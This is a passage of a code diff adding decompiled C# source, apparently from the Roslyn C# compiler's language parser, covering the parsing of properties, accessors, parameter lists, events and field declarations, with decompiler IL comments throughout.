ParseArrowExpressionClause(); + syntaxToken = EatToken(SyntaxKind.SemicolonToken); + } + return _syntaxFactory.IndexerDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), type, explicitInterfaceOpt, thisKeyword, parameterList, accessorList, expressionBody, syntaxToken); + } + + private PropertyDeclarationSyntax ParsePropertyDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, SyntaxToken identifier, TypeParameterListSyntax typeParameterList) + { + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + if (typeParameterList != null) + { + identifier = AddTrailingSkippedSyntax(identifier, (GreenNode)(object)typeParameterList); + identifier = AddError(identifier, ErrorCode.ERR_UnexpectedGenericName); + } + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + identifier = AddTrailingSkippedSyntax(identifier, (GreenNode)(object)EatTokenWithPrejudice(SyntaxKind.OpenBraceToken)); + } + AccessorListSyntax accessorList = ((base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) ? ParseAccessorList(isEvent: false) : null); + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = null; + EqualsValueClauseSyntax equalsValueClauseSyntax = null; + if (base.CurrentToken.Kind == SyntaxKind.EqualsGreaterThanToken) + { + arrowExpressionClauseSyntax = ParseArrowExpressionClause(); + } + else if (base.CurrentToken.Kind == SyntaxKind.EqualsToken) + { + SyntaxToken equalsToken = EatToken(SyntaxKind.EqualsToken); + ExpressionSyntax value = ParseVariableInitializer(); + equalsValueClauseSyntax = _syntaxFactory.EqualsValueClause(equalsToken, value); + } + SyntaxToken semicolonToken = null; + if (arrowExpressionClauseSyntax != null || equalsValueClauseSyntax != null) + { + semicolonToken = EatToken(SyntaxKind.SemicolonToken); + } + else if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + semicolonToken = EatTokenWithPrejudice(ErrorCode.ERR_UnexpectedSemicolon); + } + return _syntaxFactory.PropertyDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), type, explicitInterfaceOpt, identifier, accessorList, arrowExpressionClauseSyntax, equalsValueClauseSyntax, semicolonToken); + } + + private AccessorListSyntax ParseAccessorList(bool isEvent) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBrace = EatToken(SyntaxKind.OpenBraceToken); + SyntaxList accessors = default(SyntaxList); + if (!((GreenNode)openBrace).IsMissing || !IsTerminator()) + { + SyntaxListBuilder val = _pool.Allocate(); + while (base.CurrentToken.Kind != SyntaxKind.CloseBraceToken) + { + if (IsPossibleAccessor()) + { + AccessorDeclarationSyntax accessorDeclarationSyntax = ParseAccessorDeclaration(isEvent); + val.Add(accessorDeclarationSyntax); + } + else if (SkipBadAccessorListTokens(ref openBrace, val, isEvent ? ErrorCode.ERR_AddOrRemoveExpected : ErrorCode.ERR_GetOrSetExpected) == PostSkipAction.Abort) + { + break; + } + } + accessors = _pool.ToListAndFree(val); + } + return _syntaxFactory.AccessorList(openBrace, accessors, EatToken(SyntaxKind.CloseBraceToken)); + } + + private ArrowExpressionClauseSyntax ParseArrowExpressionClause() + { + return _syntaxFactory.ArrowExpressionClause(EatToken(SyntaxKind.EqualsGreaterThanToken), ParsePossibleRefExpression()); + } + + private ExpressionSyntax ParsePossibleRefExpression() + { + SyntaxToken syntaxToken = ((base.CurrentToken.Kind == SyntaxKind.RefKeyword && !IsPossibleLambdaExpression(Precedence.Expression)) ? EatToken() : null); + ExpressionSyntax expressionSyntax = ParseExpressionCore(); + if (syntaxToken != null) + { + return _syntaxFactory.RefExpression(syntaxToken, expressionSyntax); + } + return expressionSyntax; + } + + private PostSkipAction SkipBadAccessorListTokens(ref SyntaxToken openBrace, SyntaxListBuilder list, ErrorCode error) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return SkipBadListTokensWithErrorCode(ref openBrace, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CloseBraceToken && !p.IsPossibleAccessor(), (LanguageParser p) => p.IsTerminator(), error); + } + + private bool IsPossibleAccessor() + { + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken && !IsPossibleAttributeDeclaration() && SyntaxFacts.GetAccessorDeclarationKind(base.CurrentToken.ContextualKind) == SyntaxKind.None && base.CurrentToken.Kind != SyntaxKind.OpenBraceToken && base.CurrentToken.Kind != SyntaxKind.SemicolonToken) + { + return IsPossibleAccessorModifier(); + } + return true; + } + + private bool IsPossibleAccessorModifier() + { + if (GetModifierExcludingScoped(base.CurrentToken) == DeclarationModifiers.None) + { + return false; + } + int i; + for (i = 1; GetModifierExcludingScoped(PeekToken(i)) != DeclarationModifiers.None; i++) + { + } + SyntaxToken syntaxToken = PeekToken(i); + SyntaxKind kind = syntaxToken.Kind; + if ((kind == SyntaxKind.CloseBraceToken || kind == SyntaxKind.EndOfFileToken) ? true : false) + { + return true; + } + kind = syntaxToken.ContextualKind; + if (kind - 8417 <= (SyntaxKind)3 || kind == SyntaxKind.InitKeyword) + { + return true; + } + return false; + } + + private PostSkipAction SkipBadSeparatedListTokensWithExpectedKind(ref T startToken, SeparatedSyntaxListBuilder list, Func isNotExpectedFunction, Func abortFunction, SyntaxKind expected, SyntaxKind closeKind = SyntaxKind.None) where T : CSharpSyntaxNode where TNode : CSharpSyntaxNode + { + GreenNode trailingTrivia; + PostSkipAction result = SkipBadListTokensWithExpectedKindHelper(list.UnderlyingBuilder, isNotExpectedFunction, abortFunction, expected, closeKind, out trailingTrivia); + if (trailingTrivia != null) + { + startToken = AddTrailingSkippedSyntax(startToken, trailingTrivia); + } + return result; + } + + private PostSkipAction SkipBadListTokensWithErrorCode(ref T startToken, SyntaxListBuilder list, Func isNotExpectedFunction, Func abortFunction, ErrorCode error) where T : CSharpSyntaxNode where TNode : CSharpSyntaxNode + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + GreenNode trailingTrivia; + PostSkipAction result = SkipBadListTokensWithErrorCodeHelper(list, isNotExpectedFunction, abortFunction, error, out trailingTrivia); + if (trailingTrivia != null) + { + startToken = AddTrailingSkippedSyntax(startToken, trailingTrivia); + } + return result; + } + + private PostSkipAction SkipBadListTokensWithExpectedKindHelper(SyntaxListBuilder list, Func isNotExpectedFunction, Func abortFunction, SyntaxKind expected, SyntaxKind closeKind, out GreenNode trailingTrivia) + { + if (list.Count == 0) + { + return SkipBadTokensWithExpectedKind(isNotExpectedFunction, abortFunction, expected, closeKind, out trailingTrivia); + } + GreenNode trailingTrivia2; + PostSkipAction result = SkipBadTokensWithExpectedKind(isNotExpectedFunction, abortFunction, expected, closeKind, out trailingTrivia2); + if (trailingTrivia2 != null) + { + AddTrailingSkippedSyntax(list, trailingTrivia2); + } + trailingTrivia = null; + return result; + } + + private PostSkipAction SkipBadListTokensWithErrorCodeHelper(SyntaxListBuilder list, Func isNotExpectedFunction, Func abortFunction, ErrorCode error, out GreenNode trailingTrivia) where TNode : CSharpSyntaxNode + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (list.Count == 0) + { + return SkipBadTokensWithErrorCode(isNotExpectedFunction, abortFunction, error, out trailingTrivia); + } + GreenNode trailingTrivia2; + PostSkipAction result = SkipBadTokensWithErrorCode(isNotExpectedFunction, abortFunction, error, out trailingTrivia2); + if (trailingTrivia2 != null) + { + AddTrailingSkippedSyntax(list, trailingTrivia2); + } + trailingTrivia = null; + return result; + } + + private PostSkipAction SkipBadTokensWithExpectedKind(Func isNotExpectedFunction, Func abortFunction, SyntaxKind expected, SyntaxKind closeKind, out GreenNode trailingTrivia) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + bool flag = true; + PostSkipAction result = PostSkipAction.Continue; + while (isNotExpectedFunction(this)) + { + if (abortFunction(this, closeKind) || IsTerminator()) + { + result = PostSkipAction.Abort; + break; + } + SyntaxToken syntaxToken = ((flag && !((GreenNode)base.CurrentToken).ContainsDiagnostics) ? EatTokenWithPrejudice(expected) : EatToken()); + flag = false; + val.Add((GreenNode)(object)syntaxToken); + } + trailingTrivia = _pool.ToTokenListAndFree(val).Node; + return result; + } + + private PostSkipAction SkipBadTokensWithErrorCode(Func isNotExpectedFunction, Func abortFunction, ErrorCode errorCode, out GreenNode trailingTrivia) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + bool flag = true; + PostSkipAction result = PostSkipAction.Continue; + while (isNotExpectedFunction(this)) + { + if (abortFunction(this)) + { + result = PostSkipAction.Abort; + break; + } + SyntaxToken syntaxToken = ((flag && !((GreenNode)base.CurrentToken).ContainsDiagnostics) ? EatTokenWithPrejudice(errorCode) : EatToken()); + flag = false; + val.Add((GreenNode)(object)syntaxToken); + } + trailingTrivia = _pool.ToTokenListAndFree(val).Node; + return result; + } + + private AccessorDeclarationSyntax ParseAccessorDeclaration(bool isEvent) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && SyntaxFacts.IsAccessorDeclaration(base.CurrentNodeKind)) + { + return (AccessorDeclarationSyntax)(object)EatNode(); + } + SyntaxListBuilder val = _pool.Allocate(); + SyntaxList attributeLists = ParseAttributeDeclarations(inExpressionContext: false); + ParseModifiers(val, forAccessors: true, forTopLevelStatements: false, out var _); + SyntaxToken syntaxToken = EatToken(SyntaxKind.IdentifierToken, isEvent ? ErrorCode.ERR_AddOrRemoveExpected : ErrorCode.ERR_GetOrSetExpected); + SyntaxKind accessorKind = GetAccessorKind(syntaxToken); + if (accessorKind == SyntaxKind.UnknownAccessorDeclaration) + { + if (!((GreenNode)syntaxToken).IsMissing) + { + syntaxToken = AddError(syntaxToken, isEvent ? ErrorCode.ERR_AddOrRemoveExpected : ErrorCode.ERR_GetOrSetExpected); + } + } + else + { + syntaxToken = SyntaxParser.ConvertToKeyword(syntaxToken); + } + BlockSyntax blockBody = null; + ArrowExpressionClauseSyntax expressionBody = null; + SyntaxToken semicolon = null; + bool flag = base.CurrentToken.Kind == SyntaxKind.SemicolonToken; + bool flag2 = base.CurrentToken.Kind == SyntaxKind.EqualsGreaterThanToken; + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken || flag2) + { + ParseBlockAndExpressionBodiesWithSemicolon(out blockBody, out expressionBody, out semicolon); + } + else if (flag) + { + semicolon = EatAccessorSemicolon(); + } + else if (accessorKind != SyntaxKind.UnknownAccessorDeclaration) + { + if (!IsTerminator()) + { + blockBody = ParseMethodOrAccessorBodyBlock(default(SyntaxList), isAccessorBody: true); + } + else + { + semicolon = EatAccessorSemicolon(); + } + } + return _syntaxFactory.AccessorDeclaration(accessorKind, attributeLists, _pool.ToTokenListAndFree(val), syntaxToken, blockBody, expressionBody, semicolon); + } + + private SyntaxToken EatAccessorSemicolon() + { + return EatToken(SyntaxKind.SemicolonToken, IsFeatureEnabled(MessageID.IDS_FeatureExpressionBodiedAccessor) ? ErrorCode.ERR_SemiOrLBraceOrArrowExpected : ErrorCode.ERR_SemiOrLBraceExpected); + } + + private static SyntaxKind GetAccessorKind(SyntaxToken accessorName) + { + return accessorName.ContextualKind switch + { + SyntaxKind.GetKeyword => SyntaxKind.GetAccessorDeclaration, + SyntaxKind.SetKeyword => SyntaxKind.SetAccessorDeclaration, + SyntaxKind.InitKeyword => SyntaxKind.InitAccessorDeclaration, + SyntaxKind.AddKeyword => SyntaxKind.AddAccessorDeclaration, + SyntaxKind.RemoveKeyword => SyntaxKind.RemoveAccessorDeclaration, + _ => SyntaxKind.UnknownAccessorDeclaration, + }; + } + + internal ParameterListSyntax ParseParenthesizedParameterList() + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && CanReuseParameterList(base.CurrentNode as Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax)) + { + return (ParameterListSyntax)(object)EatNode(); + } + SyntaxToken open; + SyntaxToken close; + SeparatedSyntaxList parameters = ParseParameterList(out open, out close, SyntaxKind.OpenParenToken, SyntaxKind.CloseParenToken); + return _syntaxFactory.ParameterList(open, parameters, close); + } + + internal BracketedParameterListSyntax ParseBracketedParameterList() + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && CanReuseBracketedParameterList(base.CurrentNode as Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax)) + { + return (BracketedParameterListSyntax)(object)EatNode(); + } + SyntaxToken open; + SyntaxToken close; + SeparatedSyntaxList parameters = ParseParameterList(out open, out close, SyntaxKind.OpenBracketToken, SyntaxKind.CloseBracketToken); + return _syntaxFactory.BracketedParameterList(open, parameters, close); + } + + private static bool CanReuseParameterList(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax list) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (list == null) + { + return false; + } + SyntaxToken val = list.OpenParenToken; + if (((SyntaxToken)(ref val)).IsMissing) + { + return false; + } + val = list.CloseParenToken; + if (((SyntaxToken)(ref val)).IsMissing) + { + return false; + } + Enumerator enumerator = list.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!CanReuseParameter(enumerator.Current)) + { + return false; + } + } + return true; + } + + private static bool CanReuseBracketedParameterList(Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax list) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (list == null) + { + return false; + } + SyntaxToken val = list.OpenBracketToken; + if (((SyntaxToken)(ref val)).IsMissing) + { + return false; + } + val = list.CloseBracketToken; + if (((SyntaxToken)(ref val)).IsMissing) + { + return false; + } + Enumerator enumerator = list.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!CanReuseParameter(enumerator.Current)) + { + return false; + } + } + return true; + } + + private SeparatedSyntaxList ParseParameterList(out SyntaxToken open, out SyntaxToken close, SyntaxKind openKind, SyntaxKind closeKind) + { + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + open = EatToken(openKind); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfParameterList; + SeparatedSyntaxList result = ParseCommaSeparatedSyntaxList(ref open, closeKind, (LanguageParser @this) => @this.IsPossibleParameter(), (LanguageParser @this) => @this.ParseParameter(), skipBadParameterListTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + _termState = termState; + close = EatToken(closeKind); + return result; + static PostSkipAction skipBadParameterListTokens(LanguageParser @this, ref SyntaxToken startToken, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind2) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleParameter(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind2); + } + } + + private bool IsEndOfParameterList() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.CloseBracketToken || kind == SyntaxKind.SemicolonToken) + { + return true; + } + return false; + } + + private bool IsPossibleParameter() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind <= SyntaxKind.OpenBracketToken) + { + if (kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.OpenBracketToken) + { + goto IL_0048; + } + } + else + { + if (kind == SyntaxKind.ArgListKeyword) + { + goto IL_0048; + } + if (kind != SyntaxKind.DelegateKeyword) + { + if (kind == SyntaxKind.IdentifierToken) + { + return IsTrueIdentifier(); + } + } + else if (IsFunctionPointerStart()) + { + goto IL_0048; + } + } + if (!IsParameterModifierExcludingScoped(base.CurrentToken) && !IsPossibleScopedKeyword(isFunctionPointerParameter: false)) + { + return IsPredefinedType(base.CurrentToken.Kind); + } + return true; + IL_0048: + return true; + } + + private static bool CanReuseParameter(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter) + { + if (parameter == null) + { + return false; + } + if (parameter.Default != null) + { + return false; + } + Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode parent = parameter.Parent; + if (parent != null) + { + if (parent.Kind() == SyntaxKind.SimpleLambdaExpression) + { + return false; + } + Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode parent2 = parent.Parent; + if (parent2 != null && parent2.Kind() == SyntaxKind.ParenthesizedLambdaExpression) + { + return false; + } + } + return true; + } + + private ParameterSyntax ParseParameter() + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && CanReuseParameter(base.CurrentNode as Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax)) + { + return (ParameterSyntax)(object)EatNode(); + } + SyntaxList attributeLists = ParseAttributeDeclarations(inExpressionContext: false); + SyntaxListBuilder val = _pool.Allocate(); + ParseParameterModifiers(val, isFunctionPointerParameter: false); + if (base.CurrentToken.Kind == SyntaxKind.ArgListKeyword) + { + return _syntaxFactory.Parameter(attributeLists, SyntaxList.op_Implicit(val.ToList()), null, EatToken(SyntaxKind.ArgListKeyword), null); + } + TypeSyntax type = ParseType(ParseTypeMode.Parameter); + SyntaxToken identifier = ((base.CurrentToken.Kind != SyntaxKind.IdentifierToken || !IsCurrentTokenWhereOfConstraintClause()) ? ParseIdentifierToken() : AddError(CreateMissingIdentifierToken(), ErrorCode.ERR_IdentifierExpected)); + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken && PeekToken(1).Kind == SyntaxKind.CloseBracketToken) + { + identifier = AddTrailingSkippedSyntax(identifier, (GreenNode)(object)SyntaxList.List((GreenNode)(object)AddError(EatToken(), ErrorCode.ERR_BadArraySyntax), (GreenNode)(object)EatToken())); + } + ParseParameterNullCheck(ref identifier, out SyntaxToken equalsToken); + if (equalsToken == null) + { + equalsToken = TryEatToken(SyntaxKind.EqualsToken); + } + return _syntaxFactory.Parameter(attributeLists, _pool.ToTokenListAndFree(val), type, identifier, (equalsToken == null) ? null : _syntaxFactory.EqualsValueClause(equalsToken, ParseExpressionCore())); + } + + private void ParseParameterNullCheck(ref SyntaxToken identifier, out SyntaxToken? equalsToken) + { + equalsToken = null; + if (base.CurrentToken.Kind == SyntaxKind.ExclamationEqualsToken) + { + SyntaxToken syntaxToken = EatToken(); + identifier = AddTrailingSkippedSyntax(identifier, (GreenNode)(object)AddError(SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.ExclamationToken, "!", "!", null), ErrorCode.ERR_ParameterNullCheckingNotSupported)); + equalsToken = SyntaxFactory.Token(null, SyntaxKind.EqualsToken, syntaxToken.GetTrailingTrivia()); + } + else if (base.CurrentToken.Kind == SyntaxKind.ExclamationToken) + { + identifier = AddTrailingSkippedSyntax(identifier, (GreenNode)(object)AddError(EatToken(), ErrorCode.ERR_ParameterNullCheckingNotSupported)); + if (base.CurrentToken.Kind == SyntaxKind.ExclamationToken) + { + identifier = AddTrailingSkippedSyntax(identifier, (GreenNode)(object)EatToken()); + } + else if (base.CurrentToken.Kind == SyntaxKind.ExclamationEqualsToken) + { + SyntaxToken syntaxToken2 = EatToken(); + identifier = AddTrailingSkippedSyntax(identifier, (GreenNode)(object)SyntaxFactory.Token(syntaxToken2.GetLeadingTrivia(), SyntaxKind.ExclamationToken, null)); + equalsToken = SyntaxFactory.Token(null, SyntaxKind.EqualsToken, syntaxToken2.GetTrailingTrivia()); + } + } + } + + private SyntaxToken? MergeAdjacent(SyntaxToken t1, SyntaxToken t2, SyntaxKind kind) + { + if (NoTriviaBetween(t1, t2)) + { + return SyntaxFactory.Token(t1.GetLeadingTrivia(), kind, t2.GetTrailingTrivia()); + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringWriter stringWriter = new StringWriter(instance.Builder, CultureInfo.InvariantCulture); + ((GreenNode)t1).WriteTo((TextWriter)stringWriter, false, true); + ((GreenNode)t2).WriteTo((TextWriter)stringWriter, true, false); + string text = instance.ToStringAndFree(); + return WithAdditionalDiagnostics(SyntaxFactory.Token(t1.GetLeadingTrivia(), kind, text, text, t2.GetTrailingTrivia()), GetExpectedTokenError(kind, t1.Kind)); + } + + internal static bool NoTriviaBetween(SyntaxToken token1, SyntaxToken token2) + { + if (((GreenNode)token1).GetTrailingTriviaWidth() == 0) + { + return ((GreenNode)token2).GetLeadingTriviaWidth() == 0; + } + return false; + } + + private static bool IsParameterModifierExcludingScoped(SyntaxToken token) + { + switch (token.Kind) + { + case SyntaxKind.ReadOnlyKeyword: + case SyntaxKind.RefKeyword: + case SyntaxKind.OutKeyword: + case SyntaxKind.InKeyword: + case SyntaxKind.ParamsKeyword: + case SyntaxKind.ThisKeyword: + return true; + default: + return false; + } + } + + private void ParseParameterModifiers(SyntaxListBuilder modifiers, bool isFunctionPointerParameter) + { + bool flag = true; + while (IsParameterModifierExcludingScoped(base.CurrentToken)) + { + SyntaxKind kind = base.CurrentToken.Kind; + if ((kind == SyntaxKind.ReadOnlyKeyword || kind - 8360 <= (SyntaxKind)2) ? true : false) + { + flag = false; + } + modifiers.Add((GreenNode)(object)EatToken()); + } + if (!flag) + { + return; + } + SyntaxToken syntaxToken = ParsePossibleScopedKeyword(isFunctionPointerParameter); + if (syntaxToken == null) + { + return; + } + modifiers.Add((GreenNode)(object)syntaxToken); + while (true) + { + SyntaxKind kind = base.CurrentToken.Kind; + if ((kind == SyntaxKind.ReadOnlyKeyword || kind - 8360 <= (SyntaxKind)2) ? true : false) + { + modifiers.Add((GreenNode)(object)EatToken()); + continue; + } + break; + } + } + + private FieldDeclarationSyntax ParseFixedSizeBufferDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, SyntaxKind parentKind) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + modifiers.Add((GreenNode)(object)EatToken()); + TypeSyntax type = ParseType(); + return _syntaxFactory.FieldDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), _syntaxFactory.VariableDeclaration(type, ParseFieldDeclarationVariableDeclarators(type, VariableFlags.Fixed, parentKind)), EatToken(SyntaxKind.SemicolonToken)); + } + + private MemberDeclarationSyntax ParseEventDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, SyntaxKind parentKind) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken eventToken = EatToken(); + TypeSyntax type = ParseType(); + if (!IsFieldDeclaration(isEvent: true, parentKind == SyntaxKind.CompilationUnit)) + { + return ParseEventDeclarationWithAccessors(attributes, modifiers, eventToken, type); + } + return ParseEventFieldDeclaration(attributes, modifiers, eventToken, type, parentKind); + } + + private EventDeclarationSyntax ParseEventDeclarationWithAccessors(SyntaxList attributes, SyntaxListBuilder modifiers, SyntaxToken eventToken, TypeSyntax type) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + ParseMemberName(out var explicitInterfaceOpt, out var identifierOrThisOpt, out var typeParameterListOpt, isEvent: true); + if (explicitInterfaceOpt != null) + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind != SyntaxKind.OpenBraceToken && kind != SyntaxKind.SemicolonToken) + { + return _syntaxFactory.EventDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), eventToken, type, explicitInterfaceOpt, (identifierOrThisOpt == null) ? CreateMissingIdentifierToken() : identifierOrThisOpt, _syntaxFactory.AccessorList(SyntaxFactory.MissingToken(SyntaxKind.OpenBraceToken), default(SyntaxList), SyntaxFactory.MissingToken(SyntaxKind.CloseBraceToken)), null); + } + } + SyntaxToken syntaxToken = ((identifierOrThisOpt == null) ? CreateMissingIdentifierToken() : ((identifierOrThisOpt.Kind == SyntaxKind.IdentifierToken) ? identifierOrThisOpt : ConvertToMissingWithTrailingTrivia(identifierOrThisOpt, SyntaxKind.IdentifierToken))); + if (((GreenNode)syntaxToken).IsMissing && !((GreenNode)type).IsMissing) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_IdentifierExpected); + } + if (typeParameterListOpt != null) + { + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)typeParameterListOpt); + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_UnexpectedGenericName); + } + AccessorListSyntax accessorList = null; + SyntaxToken semicolonToken = null; + if (explicitInterfaceOpt != null && base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + semicolonToken = EatToken(SyntaxKind.SemicolonToken); + } + else + { + accessorList = ParseAccessorList(isEvent: true); + } + EventDeclarationSyntax decl = _syntaxFactory.EventDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), eventToken, type, explicitInterfaceOpt, syntaxToken, accessorList, semicolonToken); + return EatUnexpectedTrailingSemicolon(decl); + } + + private TNode EatUnexpectedTrailingSemicolon(TNode decl) where TNode : CSharpSyntaxNode + { + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + SyntaxToken node = EatToken(); + node = AddError(node, ErrorCode.ERR_UnexpectedSemicolon); + decl = AddTrailingSkippedSyntax(decl, (GreenNode)(object)node); + } + return decl; + } + + private FieldDeclarationSyntax ParseNormalFieldDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, TypeSyntax type, SyntaxKind parentKind) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxList variables = ParseFieldDeclarationVariableDeclarators(type, VariableFlags.LocalOrField, parentKind); + if (modifiers != null) + { + int count = modifiers.Count; + if (count >= 1 && modifiers[count - 1] is SyntaxToken { Kind: SyntaxKind.ScopedKeyword } syntaxToken) + { + type = _syntaxFactory.ScopedType(syntaxToken, type); + modifiers.RemoveLast(); + } + } + return _syntaxFactory.FieldDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), _syntaxFactory.VariableDeclaration(type, variables), EatToken(SyntaxKind.SemicolonToken)); + } + + private EventFieldDeclarationSyntax ParseEventFieldDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, SyntaxToken eventToken, TypeSyntax type, SyntaxKind parentKind) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxList variables = ParseFieldDeclarationVariableDeclarators(type, (VariableFlags)0, parentKind); + if 